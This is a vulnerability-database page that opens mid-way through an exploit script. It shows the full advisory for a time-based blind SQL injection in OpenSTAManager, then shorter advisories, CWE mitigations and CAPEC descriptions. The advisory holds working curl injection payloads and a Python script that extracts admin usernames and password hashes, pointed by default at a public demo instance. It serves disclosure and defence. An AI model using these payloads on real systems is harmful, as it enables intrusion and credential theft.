print(f" FINAL REPORT")
print(f"{'='*35}")
print(f"Target URL: {target}")
print(f"Database: {db}")
print(f"Username: {user}")
print(f"Hash: {pwd_hash}")
print(f"{'='*35}")
if __name__ == "__main__":
main()
Impact
Affected Users: All authenticated users with access to the article pricing functionality (typically users managing quotes, invoices, orders).
Recommended Fix:
File: /modules/articoli/ajax/complete.php
BEFORE (Vulnerable - Line 70):
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
AFTER (Fixed):
WHERE
`idarticolo`='.prepare($idarticolo).' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
Credits
Discovered by Łukasz Rybak
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "devcode-it/openstamanager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.9.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24416"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-06T18:19:51Z",
"nvd_published_at": "2026-02-06T19:16:08Z",
"severity": "HIGH"
},
"details": "### Summary\n\nCritical Time-Based Blind SQL Injection vulnerability in the article pricing module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer data, and financial records through time-based Boolean inference attacks.\n\n**Status:** \u2705 Confirmed and tested on live instance (v2.9.8) end [demo.osmbusiness.it](https://demo.osmbusiness.it/) (v2.9.7)\n**Vulnerable Parameter:** `idarticolo` (GET)\n**Affected Endpoint:** `/ajax_complete.php?op=getprezzi`\n**Affected Module:** Articoli (Articles/Products)\n\n### Details\n\nOpenSTAManager v2.9.8 contains a critical Time-Based Blind SQL Injection vulnerability in the article pricing completion handler. The application fails to properly sanitize the `idarticolo` parameter before using it in SQL queries, allowing attackers to inject arbitrary SQL commands and extract sensitive data through time-based Boolean inference.\n\n**Vulnerability Chain:**\n\n1. **Entry Point:** `/ajax_complete.php` (Line 27)\n ```php\n $op = get(\u0027op\u0027);\n $result = AJAX::complete($op);\n ```\n The `op` parameter is retrieved but the vulnerability lies in other parameters.\n\n2. **Distribution:** `/src/AJAX.php::complete()` (Line 189)\n ```php\n $result = self::getCompleteResults($file, $resource);\n ```\n\n3. **Execution:** `/src/AJAX.php::getCompleteResults()` (Line 402)\n ```php\n require $file;\n ```\n Module-specific complete.php files are included.\n\n4. **Vulnerable Parameter:** `/modules/articoli/ajax/complete.php` (Line 26)\n ```php\n $idarticolo = get(\u0027idarticolo\u0027);\n ```\n The `idarticolo` parameter is retrieved from GET request.\n\n5. **Vulnerable SQL Query:** `/modules/articoli/ajax/complete.php` (Line 70) **PRIMARY VULNERABILITY**\n ```php\n FROM\n `dt_righe_ddt`\n INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`\n INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`\n WHERE\n `idarticolo`=\u0027.$idarticolo.\u0027 AND\n `dt_tipiddt`.`dir`=\"entrata\" AND\n `idanagrafica`=\u0027.prepare($idanagrafica).\u0027\n ```\n **Impact:** Direct concatenation of `$idarticolo` without `prepare()`, while `$idanagrafica` is properly sanitized.\n\n**Context - Full Query Structure (Lines 39-74):**\n\nThe vulnerable query is part of a UNION query that fetches pricing history from invoices and delivery notes:\n\n```php\n$documenti = $dbo-\u003efetchArray(\u0027\n SELECT\n `iddocumento` AS id,\n \"Fattura\" AS tipo,\n \"Fatture di vendita\" AS modulo,\n (`subtotale`-`sconto`)/`qta` AS costo_unitario,\n ...\n FROM\n `co_righe_documenti`\n INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`\n INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`\n WHERE\n `idarticolo`=\u0027.prepare($idarticolo).\u0027 AND ... # \u2713 PROPERLY SANITIZED (Line 54)\nUNION\n SELECT\n `idddt` AS id,\n \"Ddt\" AS tipo,\n ...\n FROM\n `dt_righe_ddt`\n INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`\n INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`\n WHERE\n `idarticolo`=\u0027.$idarticolo.\u0027 AND # \u2717 VULNERABLE - NO prepare() (Line 70)\n `dt_tipiddt`.`dir`=\"entrata\" AND\n `idanagrafica`=\u0027.prepare($idanagrafica).\u0027\nORDER BY\n `id` DESC LIMIT 0,5\u0027);\n```\n\n**Root Cause:** Developer used `prepare()` correctly in the first SELECT (Line 54) but forgot to use it in the second SELECT of the UNION query (Line 70), creating an inconsistent security pattern.\n\n### PoC\n\n**Step 1: Login**\n```bash\ncurl -c /tmp/cookies.txt -X POST \u0027http://localhost:8081/index.php?op=login\u0027 \\\n -d \u0027username=admin\u0026password=admin\u0027\n```\n\n**Step 2: Verify Vulnerability (Time-Based SLEEP)**\n```bash\n# Test with SLEEP(10)\ntime curl -s -b /tmp/cookies.txt \\\n \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)\" \\\n \u003e /dev/null\n# Result: real 0m10.32s (10.32 seconds)\n\n# Test with SLEEP(3) - should take ~3 seconds\ntime curl -s -b /tmp/cookies.txt \\\n \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)\" \\\n \u003e /dev/null\n# Result: real 0m3.36s (3.36 seconds)\n\n# Test without SLEEP\ntime curl -s -b /tmp/cookies.txt \\\n \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1\" \\\n \u003e /dev/null\n# Result: real 0m0.31s (0.31 seconds)\n```\n\u003cimg width=\"1123\" height=\"536\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4f5c56d8-db60-44dd-a52c-35314be4b4ed\" /\u003e\n\n**Step 3: Data Extraction - Database Name**\n```bash\n# Extract first character of database name\n# Test if first char is \u0027o\u0027 (expected: TRUE for \u0027openstamanager\u0027)\ntime curl -s -b /tmp/cookies.txt \\\n \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n \u003e /dev/null\n# Result: real 0m2.34s (SLEEP executed - condition TRUE)\n\n# Test if first char is \u0027x\u0027 (expected: FALSE)\ntime curl -s -b /tmp/cookies.txt \\\n \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n \u003e /dev/null\n# Result: real 0m0.31s (SLEEP not executed - condition FALSE)\n\n# Extract second character (expected: \u0027p\u0027)\ntime curl -s -b /tmp/cookies.txt \\\n \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n \u003e /dev/null\n# Result: real 0m2.34s (SLEEP executed - confirms second char is \u0027p\u0027)\n\n# Extract first 3 characters (expected: \u0027ope\u0027)\ntime curl -s -b /tmp/cookies.txt \\\n \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n \u003e /dev/null\n# Result: real 0m2.33s (SLEEP executed - confirms \u0027ope...\u0027)\n```\n\n**Step 4: Extract Sensitive Data - Admin Credentials**\n```bash\n# Extract admin username (test if first 5 chars are \u0027admin\u0027)\ntime curl -s -b /tmp/cookies.txt \\\n \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n \u003e /dev/null\n# Result: real 0m2.33s (SLEEP executed - confirms admin username)\n\n# Extract first character of password hash (expected: \u0027$\u0027 for bcrypt)\ntime curl -s -b /tmp/cookies.txt \\\n \"http://localhost:8081/ajax_complete.php?op=getprezzi\u0026idanagrafica=1\u0026idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\" \\\n \u003e /dev/null\n# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)\n```\n\n**Payload Explanation:**\n```\nOriginal payload: 1 AND SUBSTRING(DATABASE(),1,1)=\u0027o\u0027 AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)\nURL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)\n\nInjection breakdown:\n1. 1 - Valid article ID\n2. AND SUBSTRING(DATABASE(),1,1)=\u0027o\u0027 - Boolean condition to test\n3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true\n\nSQL Query Result:\nWHERE\n `idarticolo`=1\n AND SUBSTRING(DATABASE(),1,1)=\u0027o\u0027\n AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)\n AND `dt_tipiddt`.`dir`=\"entrata\"\n AND `idanagrafica`=1\n```\n\n**Automated Extraction Script Example:**\n```python\nimport requests\nimport time\nimport string\nimport sys\n\n# Default Configuration\nBASE_URL = \"https://demo.osmbusiness.it\"\nUSERNAME = \"demo\"\nPASSWORD = \"demodemo1\"\nSLEEP_TIME = 3 # Increased to 3s for stability on remote demo instance\n\ndef login(session, base_url, user, pwd):\n \"\"\"Authenticates to the application and maintains session.\"\"\"\n login_url = f\"{base_url}/index.php?op=login\"\n data = {\"username\": user, \"password\": pwd}\n \n print(f\"[*] Attempting login to: {login_url}...\")\n try:\n response = session.post(login_url, data=data, timeout=10)\n # Check if login was successful (usually indicated by presence of logout link or redirect)\n if \"logout\" in response.text.lower() or response.status_code == 200:\n print(\"[+] Login successful!\")\n return True\n else:\n print(\"[-] Login failed. Please check credentials.\")\n return False\n except Exception as e:\n print(f\"[!] Connection error: {e}\")\n return False\n\ndef extract_data(session, base_url, sql_query, label=\"Data\"):\n \"\"\"Extracts data character by character until the end of the string is reached.\"\"\"\n print(f\"\\n[*] Extracting: {label}...\")\n result = \"\"\n position = 1\n target_endpoint = f\"{base_url}/ajax_complete.php\"\n \n # Charset optimized for database names and bcrypt hashes ($, ., /)\n charset = string.ascii_letters + string.digits + \"$./\" + string.punctuation\n\n while True:\n found_char = False\n for char in charset:\n # Payload: If the condition is true, the server sleeps for SLEEP_TIME\n # Using ORD() and SUBSTRING() to handle various character types safely\n payload = f\"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)\"\n \n params = {\n \"op\": \"getprezzi\",\n \"idanagrafica\": \"1\",\n \"idarticolo\": payload\n }\n\n try:\n start_time = time.time()\n session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)\n elapsed = time.time() - start_time\n\n if elapsed \u003e= SLEEP_TIME:\n result += char\n found_char = True\n sys.stdout.write(f\"\\r[+] {label} [{position}]: {result}\")\n sys.stdout.flush()\n break\n except requests.exceptions.RequestException:\n # Handle network jitter/timeouts by retrying or continuing\n continue\n\n # If no character from charset triggered a sleep, we\u0027ve reached the end of the data\n if not found_char:\n print(f\"\\n[!] End of string or no data found at position {position}.\")\n break\n \n position += 1\n \n return result\n\ndef main():\n s = requests.Session()\n \n # Allow target URL to be passed as a command line argument\n target = sys.argv[1] if len(sys.argv) \u003e 1 else BASE_URL\n \n if login(s, target, USERNAME, PASSWORD):\n # 1. Database name extraction\n db = extract_data(s, target, \"SELECT DATABASE()\", \"Database Name\")\n \n # 2. Admin username extraction\n user = extract_data(s, target, \"SELECT username FROM zz_users WHERE id=1\", \"Admin Username (id=1)\")\n \n # 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)\n pwd_hash = extract_data(s, target, \"SELECT password FROM zz_users WHERE id=1\", \"Password Hash\")\n\n print(f\"\\n\\n{\u0027=\u0027*35}\")\n print(f\" FINAL REPORT\")\n print(f\"{\u0027=\u0027*35}\")\n print(f\"Target URL: {target}\")\n print(f\"Database: {db}\")\n print(f\"Username: {user}\")\n print(f\"Hash: {pwd_hash}\")\n print(f\"{\u0027=\u0027*35}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\u003cimg width=\"674\" height=\"476\" alt=\"image\" src=\"https://github.com/user-attachments/assets/24173485-55a0-4224-9746-48786704bb73\" /\u003e\n\n### Impact\n\n\n**Affected Users:** All authenticated users with access to the article pricing functionality (typically users managing quotes, invoices, orders).\n\n**Recommended Fix:**\n\n**File:** `/modules/articoli/ajax/complete.php`\n\n**BEFORE (Vulnerable - Line 70):**\n```php\nWHERE\n `idarticolo`=\u0027.$idarticolo.\u0027 AND\n `dt_tipiddt`.`dir`=\"entrata\" AND\n `idanagrafica`=\u0027.prepare($idanagrafica).\u0027\n```\n\n**AFTER (Fixed):**\n```php\nWHERE\n `idarticolo`=\u0027.prepare($idarticolo).\u0027 AND\n `dt_tipiddt`.`dir`=\"entrata\" AND\n `idanagrafica`=\u0027.prepare($idanagrafica).\u0027\n```\n\n### Credits\nDiscovered by \u0141ukasz Rybak",
"id": "GHSA-p864-fqgv-92q4",
"modified": "2026-02-06T21:42:19Z",
"published": "2026-02-06T18:19:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-p864-fqgv-92q4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24416"
},
{
"type": "PACKAGE",
"url": "https://github.com/devcode-it/openstamanager"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenSTAManager has a Time-Based Blind SQL Injection in Article Pricing Module"
}
GHSA-P86F-7G2V-F63J
Vulnerability from github – Published: 2026-04-05 21:30 – Updated: 2026-04-05 21:30Ask Expert Script 3.0.5 contains cross-site scripting and SQL injection vulnerabilities that allow unauthenticated attackers to inject malicious code by manipulating URL parameters. Attackers can inject script tags through the cateid parameter in categorysearch.php or SQL code through the view parameter in list-details.php to execute arbitrary code or extract database information.
{
"affected": [],
"aliases": [
"CVE-2019-25676"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-05T21:16:45Z",
"severity": "HIGH"
},
"details": "Ask Expert Script 3.0.5 contains cross-site scripting and SQL injection vulnerabilities that allow unauthenticated attackers to inject malicious code by manipulating URL parameters. Attackers can inject script tags through the cateid parameter in categorysearch.php or SQL code through the view parameter in list-details.php to execute arbitrary code or extract database information.",
"id": "GHSA-p86f-7g2v-f63j",
"modified": "2026-04-05T21:30:20Z",
"published": "2026-04-05T21:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25676"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46426"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/ask-expert-script-cross-site-scripting-sql-injection"
},
{
"type": "WEB",
"url": "http://www.phpscriptsmall.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P86H-F2GW-RH33
Vulnerability from github – Published: 2022-05-17 00:38 – Updated: 2022-05-17 00:38SQL injection vulnerability in directory.php in Scripts For Sites (SFS) EZ Pub Site allows remote attackers to execute arbitrary SQL commands via the cat parameter.
{
"affected": [],
"aliases": [
"CVE-2008-6794"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-05-07T17:30:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in directory.php in Scripts For Sites (SFS) EZ Pub Site allows remote attackers to execute arbitrary SQL commands via the cat parameter.",
"id": "GHSA-p86h-f2gw-rh33",
"modified": "2022-05-17T00:38:12Z",
"published": "2022-05-17T00:38:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6794"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/50473"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6923"
},
{
"type": "WEB",
"url": "http://osvdb.org/49483"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32524"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/35046"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P86X-CWXM-X46M
Vulnerability from github – Published: 2022-05-01 23:33 – Updated: 2022-05-01 23:33SQL injection vulnerability in the com_filebase component for Joomla! and Mambo allows remote attackers to execute arbitrary SQL commands via the filecatid parameter in a selectfolder action.
{
"affected": [],
"aliases": [
"CVE-2008-0817"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-02-19T02:00:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in the com_filebase component for Joomla! and Mambo allows remote attackers to execute arbitrary SQL commands via the filecatid parameter in a selectfolder action.",
"id": "GHSA-p86x-cwxm-x46m",
"modified": "2022-05-01T23:33:25Z",
"published": "2022-05-01T23:33:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0817"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/40616"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3665"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/488268/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/488284/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27829"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P87H-QJXG-9PG4
Vulnerability from github – Published: 2023-01-13 21:30 – Updated: 2023-01-20 09:30Helmet Store Showroom Site v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /classes/Master.php?f=delete_helmet.
{
"affected": [],
"aliases": [
"CVE-2022-46949"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-13T20:15:00Z",
"severity": "HIGH"
},
"details": "Helmet Store Showroom Site v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /classes/Master.php?f=delete_helmet.",
"id": "GHSA-p87h-qjxg-9pg4",
"modified": "2023-01-20T09:30:30Z",
"published": "2023-01-13T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46949"
},
{
"type": "WEB",
"url": "https://github.com/Venus-XATBLab-YT/bug_report/blob/main/helmet-store-showroom-site/SQLi-3.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Strategy: Environment Hardening
- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-28
Strategy: Output Encoding
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
- When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
CAPEC-110: SQL Injection through SOAP Parameter Tampering
An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
CAPEC-470: Expanding Control over the Operating System from the Database
An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-7: Blind SQL Injection
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.